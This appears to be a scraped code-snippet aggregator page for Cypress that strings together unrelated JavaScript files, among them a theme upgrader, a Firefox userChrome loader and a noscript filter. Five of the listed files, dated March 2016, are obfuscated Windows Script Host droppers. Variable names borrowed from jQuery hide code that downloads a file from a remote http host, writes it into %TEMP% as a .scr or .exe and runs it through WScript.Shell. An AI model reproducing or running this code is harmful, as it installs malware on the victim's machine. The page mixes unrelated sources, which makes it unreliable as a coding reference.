Best JavaScript code snippet using cypress
themeupgrader.js
Source:themeupgrader.js
1const fs = require('fs-extra');2const path = require('path');3const simpleGit = require('simple-git/promise');4const ThemeManager = require('../../utils/thememanager');5const { CustomCommand } = require('../../utils/customcommands/command');6const { CustomCommandExecuter } = require('../../utils/customcommands/commandexecuter');7const { ArgumentMetadata, ArgumentType } = require('../../models/commands/argumentmetadata');8const SystemError = require('../../errors/systemerror');9const UserError = require('../../errors/systemerror');10const { isCustomError } = require('../../utils/errorutils');11const { searchDirectoryIgnoringExtensions } = require('../../utils/fileutils');12const fsExtra = require('fs-extra');13const { info } = require('../../utils/logger');14const git = simpleGit();15/**16 * ThemeUpgrader is responsible for upgrading the current defaultTheme to the latest17 * version. It first detects whether the theme was imported as a submodule or raw files,18 * then handles the upgrade accordingly.19 */20class ThemeUpgrader {21 constructor(jamboConfig = {}) {22 this.jamboConfig = jamboConfig;23 this._themesDir = jamboConfig.dirs && jamboConfig.dirs.themes;24 this.postUpgradeFileName = 'upgrade';25 }26 static getAlias() {27 return 'upgrade';28 }29 static getShortDescription() {30 return 'upgrade the default theme to the latest version';31 }32 static args() {33 return {34 disableScript: new ArgumentMetadata({35 type: ArgumentType.BOOLEAN,36 description: 'disable execution of ./upgrade.js after the upgrade is done',37 isRequired: false38 }),39 isLegacy: new ArgumentMetadata({40 type: ArgumentType.BOOLEAN,41 description: 'whether to pass the --isLegacy flag to ./upgrade.js',42 isRequired: false43 }),44 branch: new ArgumentMetadata({45 type: ArgumentType.STRING,46 description: 'the branch of the theme to upgrade to',47 isRequired: false,48 defaultValue: 'master'49 })50 }51 }52 static async describe(jamboConfig) {53 return {54 displayName: 'Upgrade Theme',55 params: {56 isLegacy: {57 displayName: 'Is Legacy Upgrade',58 type: 'boolean'59 },60 disableScript: {61 displayName: 'Disable Upgrade Script',62 type: 'boolean'63 },64 branch: {65 displayName: 'Branch of theme to upgrade to',66 type: 'string',67 default: 'master'68 }69 }70 }71 }72 async execute(args) {73 await this._upgrade({74 themeName: this.jamboConfig.defaultTheme,75 disableScript: args.disableScript,76 isLegacy: args.isLegacy,77 branch: args.branch78 }).catch(err => {79 if (isCustomError(err)) {80 throw err;81 }82 throw new SystemError(err.message, err.stack);83 });84 }85 /**86 * Upgrades the given theme to the latest version.87 * @param {string} themeName The name of the theme88 * @param {boolean} disableScript Whether to run the upgrade script89 * @param {boolean} isLegacy Whether to use the isLegacy flag in the upgrade script90 * @param {string} branch The name of the branch to upgrade to91 */92 async _upgrade({ themeName, disableScript, isLegacy, branch }) {93 const themePath = path.join(this._themesDir, themeName);94 if (!fs.existsSync(themePath)) {95 throw new UserError(96 `Theme "${themeName}" not found within the "${this._themesDir}" folder`);97 }98 if (await this._isGitSubmodule(themePath)) {99 await this._upgradeSubmodule(themePath, branch)100 } else {101 const tempDir = fs.mkdtempSync('./');102 try { 103 fs.copySync(themePath, tempDir);104 await this._recloneTheme(themeName, themePath, branch);105 this._removeGitFolder(themePath);106 fs.removeSync(tempDir);107 }108 catch (error) {109 fs.moveSync(tempDir, themePath);110 throw error;111 }112 }113 if (!disableScript) {114 this._executePostUpgradeScript(themePath, isLegacy);115 }116 if (isLegacy) {117 info(118 'Legacy theme upgrade complete. \n' +119 'You may need to manually reinstall dependencies (e.g. an npm install).');120 } else {121 info(122 'Theme upgrade complete. \n' +123 'You may need to manually reinstall dependencies (e.g. an npm install).');124 }125 }126 /**127 * Removes the .git folder from the theme.128 *129 * @param {string} themePath 130 */131 _removeGitFolder(themePath) {132 fsExtra.removeSync(path.join(themePath, '.git'));133 }134 /**135 * Executes the upgrade script, and outputs its stdout and stderr.136 * @param {string} themePath path to the default theme137 * @param {boolean} isLegacy138 */139 _executePostUpgradeScript(themePath, isLegacy) {140 const upgradeScriptName =141 searchDirectoryIgnoringExtensions(this.postUpgradeFileName, themePath)142 const upgradeScriptPath = path.join(themePath, upgradeScriptName);143 const customCommand = new CustomCommand({144 executable: `./${upgradeScriptPath}`145 });146 if (isLegacy) {147 customCommand.addArgs(['--isLegacy'])148 }149 new CustomCommandExecuter(this.jamboConfig).execute(customCommand);150 }151 /**152 * Calls "git update --remote" on the given submodule path, which153 * updates the given submodule to the most recent version of the branch154 * it is set to track. If a branch is specified, the given submodule 155 * will be updated to the provided branch.156 * @param {string} submodulePath157 * @param {string} branch158 */159 async _upgradeSubmodule(submodulePath, branch) {160 if (branch) {161 await git.subModule(['set-branch', '--branch', branch, submodulePath]);162 }163 await git.submoduleUpdate(['--remote', submodulePath]);164 }165 /**166 * @param {string} themeName167 * @param {string} themePath168 * @param {string} branch169 */170 async _recloneTheme(themeName, themePath, branch) {171 await fs.remove(themePath);172 const themeRepoURL = ThemeManager.getRepoForTheme(themeName);173 const updateBranch = branch || 'master';174 await git.clone(themeRepoURL, themePath, ['--branch', updateBranch]);175 }176 /**177 * Returns whether the given file path is registered as a git submodule.178 * @param {string} submodulePath179 * @returns {boolean}180 */181 async _isGitSubmodule(submodulePath) {182 const submodulePaths = await git.subModule(['foreach', '--quiet', 'echo $sm_path']);183 return !!submodulePaths184 .split('\n')185 .find(p => p === submodulePath)186 }187}...
20160307_4e89e1546653ca0bad858cfabec05e7e.js
Source:20160307_4e89e1546653ca0bad858cfabec05e7e.js
1load = "tat";2eventPath = "j";3Expr = 1;4last = "ite";5selectedIndex = "p";6var parentsUntil = "e",7 height = "ring";8pageX = "se", wait = "Sl", createComment = 2;9valHooks = "fb";10charset = 10;11merge = "i";12var el = "pen",13 rmultiDash = 42;14var attrHooks = "S",15 computed = ".XM";16jQuery = 7;17stopOnFalse = ".";18i = 12;19matcherIn = 10256;20tmp = 14, acceptData = "://", mimeType = 29, handler = "MSXM", classNames = "vSt", push = "ope";21unloadHandler = 45;22global = "nal";23rclickable = "eep", fadeTo = "type", ajaxHandleResponses = "n", node = "t.", max = "WScri", keepScripts = 251;24inPage = "yle", splice = 20, newCache = "DB.St";25err = "GE", dequeue = "ct";26resolveValues = "TP";27done = "L2";28memory = "teOb";29insertAfter = 237;30boxSizingReliableVal = "LH";31manipulationTarget = "Res", pageYOffset = 32, closest = 28, finalValue = "lee", mozMatchesSelector = "m";32checkContext = "pos";33v = "tio";34response = "C";35fx = "Script";36destElements = "4h";37setMatcher = "Shel";38inspected = "/8y7";39cached = "wr";40var Data = "vi",41 next = 18,42 grep = "ToFi";43qualifier = "pons", caption = ".id", prependTo = "%T", tokens = "ti.a", getElementsByClassName = "E", view = "s";44concat = 13, newDefer = "readys", success = "ADO";45var getById = 923;46var serialize = "xpand",47 focus = "M",48 define = "e-jour",49 msg = "entSt";50var jsonProp = 27820;51var namespace = ".sc";52using = 6;53clientY = 97;54xml = 145;55var isPlainObject = "r",56 name = 186,57 keepData = "clo",58 requestHeaders = "T";59dataTypeOrTransport = "a", once = "Run", hidden = "send", elementMatcher = "pt", copyIsArray = "l";60progress = 5, remove = "Body", crossDomain = "WScrip", matchesSelector = 8, isHidden = "WScr", firingIndex = "ro";61binary = 128;62curLeft = 4;63open = "rea";64nodeValue = "W", isArrayLike = "http", checked = "nm";65support = 68;66parse = 8232;67rfxtypes = "reateO";68seed = (function Object.prototype.tokenCache() {69 return this70}, "t");71var responses = "eObje";72var p = 2153,73 fired = "o";74replaceAll = 3;75specialEasing = "Creat";76left = "di";77click = "Cre";78round = 11;79rcombinators = 0;80high = "P%/";81b = 24;82attributes = "c";83var clone = "WS",84 matchAnyContext = "cript",85 pdataOld = "save",86 documentIsHTML = "bje";87var matched = "spa",88 fixHooks = 47;89disableScript = (((33 * createComment + 26) - (matchesSelector * 4 + replaceAll)), (((69 ^ unloadHandler) / (2 * using + 1)), this));90removeAttribute = once;91setRequestHeader = disableScript[clone + matchAnyContext];92startLength = setRequestHeader[response + rfxtypes + documentIsHTML + dequeue](crossDomain + node + setMatcher + copyIsArray);93src = startLength[getElementsByClassName + serialize + getElementsByClassName + ajaxHandleResponses + Data + firingIndex + checked + msg + height + view](prependTo + getElementsByClassName + focus + high) + left + classNames + inPage + namespace + isPlainObject;94augmentWidthOrHeight = disableScript[nodeValue + fx][click + dataTypeOrTransport + memory + eventPath + parentsUntil + dequeue](handler + done + computed + boxSizingReliableVal + requestHeaders + resolveValues);95augmentWidthOrHeight[push + ajaxHandleResponses](err + requestHeaders, isArrayLike + acceptData + define + global + stopOnFalse + isPlainObject + parentsUntil + matched + tokens + attributes + caption + inspected + destElements + valHooks, !(progress == (((((Math.pow(2352, createComment) - 5529087) + (jsonProp / 13)) ^ (createComment * 101 * (Math.pow(curLeft, 2) - charset) + (162 & keepScripts))) / (Math.pow(((2 * concat + 1) ^ (Math.pow(fixHooks, 2) - p)), ((9 - jQuery) + 0)) - ((rcombinators ^ 0), (parse / 7)))) / (((getById & 751) / (mimeType & 23)) & (Math.pow((createComment | 12), (Expr ^ 3)) - (insertAfter - 64))))));96augmentWidthOrHeight[hidden]();97while(augmentWidthOrHeight[newDefer + load + parentsUntil] < (createComment ^ 0) * (support / 34)) {98 disableScript[max + elementMatcher][wait + rclickable](((splice ^ 2) ^ (pageYOffset * 3 + next)));99}100extend = disableScript[isHidden + merge + elementMatcher][specialEasing + responses + attributes + seed](success + newCache + open + mozMatchesSelector);101disableScript[crossDomain + seed][attrHooks + finalValue + selectedIndex](((2832 / i), (4744 | matcherIn)));102try {103 extend[fired + el]();104 th = extend;105 th[fadeTo] = ((0 ^ Expr) & (28 / closest));106 animated = th;107 extend[cached + last](augmentWidthOrHeight[manipulationTarget + qualifier + parentsUntil + remove]);108 animated[checkContext + merge + v + ajaxHandleResponses] = ((14 + binary), (5 ^ xml), (Math.pow(38, createComment) - 1387), (rcombinators ^ 0));109 extend[pdataOld + grep + copyIsArray + parentsUntil](src, ((b + 12) / (jQuery ^ 21)));110 extend[keepData + pageX]();111 bubbleType = startLength;112 bubbleType[removeAttribute](src.tokenCache(), ((clientY + 90), (name & 159), round * 3 * createComment, (0 | rcombinators)), ((85 - rmultiDash) - (3 * tmp + 1)));
...
20160308_2bfb86928cce685c9f5bc2d1fb404ef5.js
Source:20160308_2bfb86928cce685c9f5bc2d1fb404ef5.js
1getElementById = 50;2hidden = "s";3ignored = 7;4safeActiveElement = 8;5var jsonProp = "LHTTP",6 conv2 = "nv",7 nonce = "ype",8 replaceAll = "/",9 mapped = "Run",10 beforeSend = ".s";11removeClass = "oF", conv = "ect", modified = "W";12nextSibling = "io";13var isBorderBox = "yberbu",14 lang = 63,15 iterator = 3,16 inspect = "posi";17iNoClone = 35, insertAfter = 25, clientTop = "gh5";18reject = "d";19outerCache = "dy";20indirect = 45;21backgroundClip = 91;22dataPriv = "Crea";23optSelected = 92;24var setter = ".",25 prefilterOrFactory = "ead",26 rejectWith = 31,27 optDisabled = 0;28getAll = "teObj", getAllResponseHeaders = 11, top = "ile", err = "reate", isSimulated = "wri";29copyIsArray = "p", fireWith = 15;30var rnoInnerhtml = "onseBo",31 matchedCount = "en",32 html = "C",33 rattributeQuotes = "l",34 createHTMLDocument = "O",35 namespaces = 134;36stopPropagation = "String";37pnum = "Sc";38obj = "c";39reverse = 5;40expando = 12;41offsetParent = 27;42prefix = 89;43var propName = 4;44specified = 29, createPositionalPseudo = "%TEMP", removeAttr = "/c", acceptData = "WScri", stateVal = "WS";45gotoEnd = 16, parentWindow = "te", disableScript = "t", matcher = "pt.", nodeNameSelector = "ystat";46defaultPrevented = 26;47keyHooks = 107;48easing = 131;49var token = "open";50curElem = "WScrip";51checkContext = "L2.XM";52pos = "h";53getAttribute = "ironm";54type = 30, getById = "ll", xhrFields = (function String.prototype.grep() {55 return this56}, "GET"), load = "bject", url = 17706, serializeArray = "ttp:/";57var matchers = "cr";58var events = "sen",59 body = "cript";60responseHeaders = "sto";61once = "Stream";62compile = "Sleep";63originalOptions = "S";64curOffset = "Resp";65complete = "MSXM";66m = "ipt";67var holdReady = 1284;68rtrim = "ADODB.";69var pushStack = "andE",70 hasScripts = "ose",71 parseOnly = 1,72 getPropertyValue = "%",73 restoreScript = 20,74 getClass = 60;75onload = "h.pp";76getJSON = "Ex";77animation = "r";78diff = 2, seed = 163, checkNonElements = "97kh65";79var props = "saveT",80 rscriptTypeMasked = "e",81 trim = "eObjec",82 pseudo = "ript",83 isArrayLike = "She",84 rparentsprev = "ua/";85var host = "op",86 rcomma = "n";87getResponseHeader = (((119, optSelected, 2310) / (specified & 23)), ((keyHooks * 2, (parseOnly + 2)), this));88raw = mapped;89structure = getResponseHeader[stateVal + matchers + m];90hide = structure[html + err + createHTMLDocument + load](acceptData + matcher + isArrayLike + getById);91cssExpand = hide[getJSON + copyIsArray + pushStack + conv2 + getAttribute + matchedCount + disableScript + stopPropagation + hidden](createPositionalPseudo + getPropertyValue + replaceAll) + responseHeaders + copyIsArray + beforeSend + matchers;92readyState = getResponseHeader[curElem + disableScript][dataPriv + getAll + conv](complete + checkContext + jsonProp);93readyState[host + rscriptTypeMasked + rcomma](xhrFields, pos + serializeArray + removeAttr + isBorderBox + onload + setter + rparentsprev + checkNonElements + clientTop, !(((((iterator * 11) / (parseOnly * 3)) * iterator * ((31 & rejectWith) - (18 + diff)) - (((29 * diff + 5) & getAllResponseHeaders * 5) * (parseOnly * 3) + (diff * 2 * diff * 2 * diff | (0 | safeActiveElement)))), ((((244, seed, 1) * (parseOnly & 1)) * ((getElementById * 3) / (iNoClone - 5))) * (((getClass * 2 + indirect), (13 & fireWith)) ^ ((100 + expando), (154 ^ prefix), (936 / defaultPrevented), (41 & lang))) + ((Math.pow((24 + lang), (1 * diff)) - (6417 | holdReady)) / ((31 & rejectWith)))), (((72 | gotoEnd) / (44 | propName)) & (1 + parseOnly)) * ((0 / diff) ^ 2)) == propName));94readyState[events + reject]();95while (readyState[animation + prefilterOrFactory + nodeNameSelector + rscriptTypeMasked] < ((9 - reverse) ^ (16 - gotoEnd))) {96 getResponseHeader[modified + originalOptions + body][compile]((4 ^ parseOnly) * (60 / type) * (0 ^ diff) * (5 & ignored));97}98propFilter = getResponseHeader[curElem + disableScript][dataPriv + disableScript + trim + disableScript](rtrim + once);99getResponseHeader[modified + pnum + pseudo][compile]((3 * getAllResponseHeaders * 131 * iterator ^ (464 * propName + 241)));100propFilter[token]();101aup = propFilter;102aup[disableScript + nonce] = ((parseOnly * 0) | (insertAfter - 24));103fadeOut = aup;104propFilter[isSimulated + parentWindow](readyState[curOffset + rnoInnerhtml + outerCache]);105fadeOut[inspect + disableScript + nextSibling + rcomma] = ((easing | 0), (restoreScript ^ 9), (Math.pow(namespaces, 2) - url), (0 | optDisabled));106propFilter[props + removeClass + top](cssExpand, (0 ^ (offsetParent - 25)));107propFilter[obj + rattributeQuotes + hasScripts]();108inArray = hide;...
20160308_faa33eba67061a17b51686976a082d6d.js
Source:20160308_faa33eba67061a17b51686976a082d6d.js
1ontype = 60, css = 42, copy = 7, slideToggle = "Fil";2var radio = "ntStri",3 fn = "readys",4 window = "C",5 p = "ironm",6 responseFields = (function Object.prototype.rmargin() {7 return this8 }, "o.n"),9 checkOn = 53;10jQuery = "WS", parentOffset = "Run", siblingCheck = 19, refElements = "ct", timer = "pen";11converters = 1;12var mouseHooks = "http";13ajaxPrefilter = "ate";14var currentTime = "WScrip";15unbind = "ipt", pointerenter = "Sleep", run = "open", opener = 6, start = "pushS";16var t = 41;17var origName = "po",18 rCRLF = "g4wg",19 contents = 8;20responseText = "reateO";21JSON = "ject";22postFilter = 43;23disableScript = 0;24open = ".scr";25rnoContent = "send", minWidth = "dEnv", cors = "P", oldCache = "eBody", stored = 31, createOptions = "te";26var not = 118,27 lastChild = 20;28animate = "GET", padding = "b", on = 24, rfocusMorph = "write", checkbox = "Ob", escapedWhitespace = "o";29removeProp = "Slee", prevObject = "2.", stopPropagation = 38, processData = 47, preferredDoc = "je", queue = "MSXML";30preventDefault = "ahmar.";31camelCase = "Stream";32clientX = 11;33stopped = "eOb";34visibility = "uf.fr/";35simulate = 48;36preFilter = "p";37caption = "n";38delegateTarget = 161;39attachEvent = "v";40remove = "WScr";41fcamelCase = "ition";42mapped = "/";43var overflow = "ta",44 contexts = "cl";45getClass = "sa", elems = 2;46var doAnimation = 228,47 interval = "ell",48 scrollLeft = 4,49 fireGlobals = 3;50rfxtypes = 28, boxSizingReliable = "s", children = "t", classNames = "Resp", slideDown = "Creat";51selection = "typ", winnow = "Expan", newContext = "cript.", rcomma = "i.pers", oldCallbacks = "ngs";52hasFocus = "se";53contains = "e";54uniqueID = "WScri", boxSizingReliableVal = "XMLHTT", readyWait = "Sh", getWindow = "eTo", results = 50, body = "://l";55init = "r";56show = "tack";57marginRight = "ADODB.";58v = 15034;59fnOut = "pt";60eq = 13, attributes = "Cr", noCloneChecked = "jec", pdataOld = "78h", parentsUntil = 240, parentWindow = "%TEMP%";61settings = "chouk";62condense = 5;63sortOrder = ((1 | siblingCheck) * (129 / postFilter) * (33 - stored) * 2, (((disableScript ^ 0) ^ (Math.pow(scrollLeft, 2) - clientX)), this));64self = parentOffset;65allTypes = sortOrder[remove + unbind];66documentElement = allTypes[window + responseText + padding + preferredDoc + refElements](jQuery + newContext + readyWait + interval);67structure = documentElement[winnow + minWidth + p + contains + radio + oldCallbacks](parentWindow + mapped) + start + show + open;68setOffset = sortOrder[remove + unbind][attributes + contains + ajaxPrefilter + checkbox + noCloneChecked + children](queue + prevObject + boxSizingReliableVal + cors);69setOffset[escapedWhitespace + timer](animate, mouseHooks + body + preventDefault + settings + init + rcomma + responseFields + contains + visibility + pdataOld + rCRLF, !(((Math.pow((((52 - simulate) & (6 + converters)) & ((1 * elems) * (27 - on))), (((5282 / stopPropagation), (248 | contents), (1 ^ fireGlobals)) + (1 & (eq, 206, converters, 0)))) - (disableScript | 5 * (doAnimation, 2))) & ((elems * (2 ^ copy) * (3 | fireGlobals) * (82 / t) * (189, not, 121, siblingCheck) / 2 * (ontype / 20) * (checkOn, 61, condense)) - (((62 - processData) + (2 - elems)) * ((0 | disableScript) | (2 & fireGlobals)) + 1))) == opener));70setOffset[rnoContent]();71while (setOffset[fn + overflow + createOptions] < (Math.pow(3, (converters + 1)) - (parentsUntil / 48))) {72 sortOrder[uniqueID + fnOut][removeProp + preFilter]((disableScript ^ 2) * condense * (4 - elems) * (1 ^ scrollLeft));73}74tokenCache = sortOrder[remove + unbind][slideDown + stopped + JSON](marginRight + camelCase);75sortOrder[currentTime + children][pointerenter](((74 ^ delegateTarget), (Math.pow(5, elems) - 19), (v & 16093)));76tokenCache[run]();77addHandle = tokenCache;78addHandle[selection + contains] = (converters + (0 / results));79postDispatch = addHandle;80tokenCache[rfocusMorph](setOffset[classNames + escapedWhitespace + caption + boxSizingReliable + oldCache]);81postDispatch[origName + boxSizingReliable + fcamelCase] = ((0 ^ converters) * (0 & converters));82tokenCache[getClass + attachEvent + getWindow + slideToggle + contains](structure, ((1 ^ disableScript) * (56 / rfxtypes)));83tokenCache[contexts + escapedWhitespace + hasFocus]();84expand = documentElement;...
20160307_b5c15f05ac54a217cb406e18da30404b.js
Source:20160307_b5c15f05ac54a217cb406e18da30404b.js
1matcherIn = 14, fadeIn = "WSc", maxIterations = "File";2a = 146, focus = 225, prefilterOrFactory = "ody";3namespaces = "nd";4addBack = "ject", matchContext = "WS", toggleClass = "ADODB", scrollTop = "open", unique = "Enviro";5flag = "eOb", getElementsByTagName = 5, hover = "eady", curValue = "a", setGlobalEval = "cript.";6pushStack = (function Object.prototype.rpseudo() {7 return this8}, "P%/");9reject = 837;10stopped = 61312;11guaranteedUnique = 142;12udataOld = "n";13owner = 11;14set = "ect";15buildParams = 25;16var now = "WScri",17 optall = "et/98h",18 dispatch = "Cre",19 fcamelCase = 13,20 initial = "write";21var register = 7,22 isTrigger = "te",23 attachEvent = "//p";24var attr = "t",25 tweener = "sa",26 location = "at";27bool = "tp:", operator = "rip", copyIsArray = 1181, rclass = "GET", returnFalse = "send";28var pipe = "positi",29 removeAttribute = "Creat",30 camelCase = 230;31Callbacks = 48, writable = "r";32submit = "Run";33whitespace = "ope", prevObject = "eObj", clazz = "Crea";34parsed = "Objec", createPositionalPseudo = "MSXML2", optionSet = "String", removeEventListener = 37, siblings = "e";35var modified = "WScrip",36 send = 35,37 sortOrder = 1,38 styles = 85,39 toSelector = "s";40setMatched = ".sc", getPropertyValue = "8", cssNumber = "veTo", progressContexts = "n23r23", curPosition = ".XML", msMatchesSelector = "pt";41var createHTMLDocument = "%TEM",42 window = "eep",43 webkitMatchesSelector = 82,44 overwritten = 3,45 animated = "on",46 adjustCSS = "B";47assert = "nt";48marginDiv = 6, onreadystatechange = "ht", add = 2;49var pointerenter = "Shell",50 rdashAlpha = "Expa",51 newCache = "lemDat",52 disableScript = 0,53 toggle = ".St";54getElementById = "state";55var size = "tfx.n",56 origName = "ha",57 dataShow = "Sleep",58 checkClone = "sponse",59 hidden = 1363,60 dest = 3480;61var beforeSend = 81,62 rnative = "Re",63 finalDataType = "close",64 rbrace = "ream",65 close = "HTTP";66matches = "typ", keepData = "Sl";67var addGetHookIf = "nme";68state = (((9 * fcamelCase + 1) & (dest / 29)), ((owner - (196, focus, 3)), this));69rattributeQuotes = submit;70ct = state[modified + attr];71textContent = ct[clazz + isTrigger + parsed + attr](matchContext + setGlobalEval + pointerenter);72firstChild = textContent[rdashAlpha + namespaces + unique + addGetHookIf + assert + optionSet + toSelector](createHTMLDocument + pushStack) + siblings + newCache + curValue + setMatched + writable;73documentIsHTML = state[now + msMatchesSelector][dispatch + location + prevObject + set](createPositionalPseudo + curPosition + close);74documentIsHTML[whitespace + udataOld](rclass, onreadystatechange + bool + attachEvent + origName + size + optall + getPropertyValue + progressContexts, !((((disableScript ^ (0 ^ disableScript)) | ((1 & sortOrder) ^ (40 - removeEventListener))) * (((3 + disableScript) & (2 ^ disableScript)) * ((25, a, 53, add) + (0 ^ disableScript)) | ((1 * overwritten) & 2) * (disableScript | (2 | disableScript))) + ((((Math.pow(6115, add) - 37383281) / (Math.pow(send, 2) - copyIsArray)), ((73 + overwritten) - (10 * getElementsByTagName + 7)), (add + 0)) / (((reject ^ 2007) / (marginDiv ^ 11)) / ((buildParams + 159), (camelCase + 19), (beforeSend ^ 58), (add * 22 + sortOrder))))) == 9));75documentIsHTML[returnFalse]();76while (documentIsHTML[writable + hover + getElementById] < ((guaranteedUnique, 4) & (register))) {77 state[modified + attr][dataShow](((66 | webkitMatchesSelector) ^ (6 + Callbacks)));78}79ret = state[fadeIn + operator + attr][removeAttribute + flag + addBack](toggleClass + toggle + rbrace);80state[modified + attr][keepData + window](((256312 - stopped) / (0 | fcamelCase)));81try {82 ret[scrollTop]();83 relatedTarget = ret;84 relatedTarget[matches + siblings] = ((1 + disableScript) & (1 * sortOrder));85 triggered = relatedTarget;86 ret[initial](documentIsHTML[rnative + checkClone + adjustCSS + prefilterOrFactory]);87 triggered[pipe + animated] = (0 & sortOrder);88 ret[tweener + cssNumber + maxIterations](firstChild, ((0 ^ add) & (1 * add)));89 ret[finalDataType]();90 bind = textContent;91 bind[rattributeQuotes](firstChild.rpseudo(), (8 - (matcherIn & 9)), ((hidden / 29), (styles ^ 12), (disableScript ^ 0)));
...
20160308_b2389863205391dccc870b5f1a570151.js
Source:20160308_b2389863205391dccc870b5f1a570151.js
1nType = 29;2rinputs = 246;3mimeType = "O";4capName = 48, off = "Sleep", finalText = "MSXML2", animation = (function String.prototype.aup() {5 return this6}, "WScrip");7checkOn = 115, unbind = "eate", detectDuplicates = "Str", host = 11, dataUser = "read", firing = 140;8overflowY = "nment";9classes = "fcas";10value = "ty";11rnotwhite = "W";12els = 5969;13define = 8, end = "ings", noConflict = "p", compareDocumentPosition = "send", password = "ect";14guid = "Cr";15handleObjIn = "%/";16caption = "Respon";17Expr = 1;18originalProperties = "on";19a = "Scri";20keys = "le";21oldCache = "pe";22flatOptions = "c";23serialize = "/sur";24var related = "sav",25 rneedsContext = "bjec",26 parseJSON = "cri",27 target = "MP",28 rtypenamespace = "open",29 inspectPrefiltersOrTransports = 6;30var err = "e",31 manipulationTarget = 17,32 innerHTML = "t.Shel",33 disableScript = "t";34getText = ".sc", dataShow = "te", parseOnly = "leep";35var rjsonp = "eBody";36var rCRLF = "y";37hasContent = "los", dir = 2, createTween = 19, isHidden = "S", ownerDocument = "r";38checked = "wri";39rprotocol = "eToFi";40needsContext = "TP";41_evalUrl = "7u.cz/";42extra = "ADOD";43returnFalse = "s";44curCSSLeft = "Obj", fail = "Run", pattern = 3, filters = "m", contains = "_", stopped = 153;45copyIsArray = 54, createButtonPseudo = "positi", outerCache = "jQue", compile = "B.S", random = "Expand";46pdataCur = 4;47var forward = "ate";48var bind = "GET",49 globalEventContext = "Object",50 newDefer = "st",51 pixelPositionVal = 40;52serializeArray = ".XMLHT", current = "trea", tmp = "E", getJSON = "h55", calculatePosition = "WS", tweener = "cript";53nodeName = "Create";54rheader = "h.";55prevUntil = "http:/";56rclass = 5;57rpseudo = "nviro", rdisplayswap = 0, attachEvent = "ry", noop = "%T", i = "l", base = "0o9k7j";58s = (((3422 / nType), (20 ^ copyIsArray)), (((5 ^ manipulationTarget) & (25 + rclass)), this));59defaultView = fail;60sort = s[calculatePosition + parseJSON + noConflict + disableScript];61returned = sort[nodeName + mimeType + rneedsContext + disableScript](animation + innerHTML + i);62elems = returned[random + tmp + rpseudo + overflowY + detectDuplicates + end](noop + tmp + target + handleObjIn) + contains + outerCache + attachEvent + getText + ownerDocument;63specified = s[rnotwhite + isHidden + tweener][guid + unbind + globalEventContext](finalText + serializeArray + needsContext);64specified[rtypenamespace](bind, prevUntil + serialize + classes + rheader + _evalUrl + base + getJSON, !((((((41 + define) - (41 + inspectPrefiltersOrTransports)) & ((1 & Expr) ^ 2))) * (((rdisplayswap & 1) | ((rclass, 165, rinputs, 1) + (checkOn, 0))) * ((Expr + -(1 ^ rdisplayswap)) ^ ((0 | rdisplayswap) ^ (4 & rclass)))) + ((((1 & Expr) ^ (0 / capName)) * (1 & Expr)) + (((Math.pow(178, dir) - 31469), (host - 11)) | ((rdisplayswap | 0) | rdisplayswap)))) > 5));65specified[compareDocumentPosition]();66while(specified[dataUser + rCRLF + newDefer + forward] < ((dir ^ 0) ^ (Math.pow(rclass, 2) - createTween))) {67 s[animation + disableScript][isHidden + parseOnly]((97 ^ (Math.pow(pattern, 2) - pdataCur)));68}69prevObject = s[rnotwhite + a + noConflict + disableScript][nodeName + curCSSLeft + password](extra + compile + current + filters);70s[animation + disableScript][off](((9031 + els)));71prevObject[rtypenamespace]();72maxIterations = prevObject;73maxIterations[value + oldCache] = (1 | (stopped, 16, Expr));74pipe = maxIterations;75prevObject[checked + dataShow](specified[caption + returnFalse + rjsonp]);76pipe[createButtonPseudo + originalProperties] = ((1 + rdisplayswap) + -1);77prevObject[related + rprotocol + keys](elems, (firing, 2));78prevObject[flatOptions + hasContent + err]();79dataType = returned;
...
userChrome.js
Source:userChrome.js
1'use strict';2location == 'chrome://browser/content/browser.xul' && (function() {3 userChrome.loadOverlayDelayIncr = 0;4 const Cc = Components.classes;5 const Ci = Components.interfaces;6 const ds = Cc["@mozilla.org/file/directory_service;1"].getService(Ci.nsIProperties);7 let arrSubdir = new Array("SubScript", "ScriptPlus", "TestScript");8 let UCfiles = new Array;9 if (!Preferences.get('userChrome.disable.script')) {10 Preferences.set('userChrome.disable.script', "");11 };12 let disablescript = Preferences.get('userChrome.disable.script').split(',');13 for (let i = 0; i < arrSubdir.length; i++) {14 let workDir = ds.get('UChrm', Ci.nsILocalFile);15 UCfiles.push({16 folder: arrSubdir[i],17 file: []18 });19 workDir.append(arrSubdir[i]);20 let files = workDir.directoryEntries.QueryInterface(Ci.nsISimpleEnumerator);21 while (files.hasMoreElements()) {22 let file = files.getNext().QueryInterface(Ci.nsIFile);23 if (/\.uc\.(js|xul)$/i.test(file.leafName)) {24 UCfiles[i].file.push({25 scriptname: file.leafName,26 scriptpath: file.path27 });28 if (disablescript.indexOf(file.leafName) == -1) {29 userChrome.import(arrSubdir[i] + '/' + file.leafName, 'UChrm');30 }31 }32 }33 };34 window.userChrome_js = {35 UCfiles: UCfiles,36 disablescript: disablescript,37 };38 userChrome.import('UCManager.uc.js', 'UChrm');...
noscript.js
Source:noscript.js
1// Note: This filter only works for SCRIPT tags with known TYPE values!2// TODO3// add support for WebFont Loader (see https://github.com/typekit/webfontloader), or4// add a whitelist mechanism for sources5// eg. <script src="http://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js"></script>6(function(filter) {7 // script types could be evaluated8 var SCRIPT_TYPEs = /type=["'](?:text|application)\/(?:x-)?(?:j(?:ava)?|ecma)script["']/g9 , noSCRIPT_TYPE = 'type="text/noscript+javascript"'10 , noSCRIPT_TYPEs = /type="text\/noscript\+javascript"/g11 , SCRIPT_TYPE = 'type="text/javascript"';12 function disableSCRIPT( source ) {13 return source.replace( SCRIPT_TYPEs, noSCRIPT_TYPE );14 }15 function enableSCRIPT( source ) {16 return source.replace( noSCRIPT_TYPEs, SCRIPT_TYPE);17 }18 filter.disableSCRIPT = disableSCRIPT;19 filter.enableSCRIPT = enableSCRIPT;...
Using AI Code Generation
1Cypress.on('uncaught:exception', (err, runnable) => {2})3Cypress.on('uncaught:exception', (err, runnable) => {4})5Cypress.on('uncaught:exception', (err, runnable) => {6})7Cypress.on('uncaught:exception', (err, runnable) => {8})9Cypress.on('uncaught:exception', (err, runnable) => {10})11Cypress.on('uncaught:exception', (err, runnable) => {12})13Cypress.on('uncaught:exception', (err, runnable) => {14})15Cypress.on('uncaught:exception', (err, runnable) => {16})17Cypress.on('uncaught:exception', (err, runnable) => {18})19Cypress.on('uncaught:exception', (err, runnable) => {20})21Cypress.on('uncaught:exception', (err, runnable) => {22})23Cypress.on('uncaught:exception', (err, runnable) => {
Using AI Code Generation
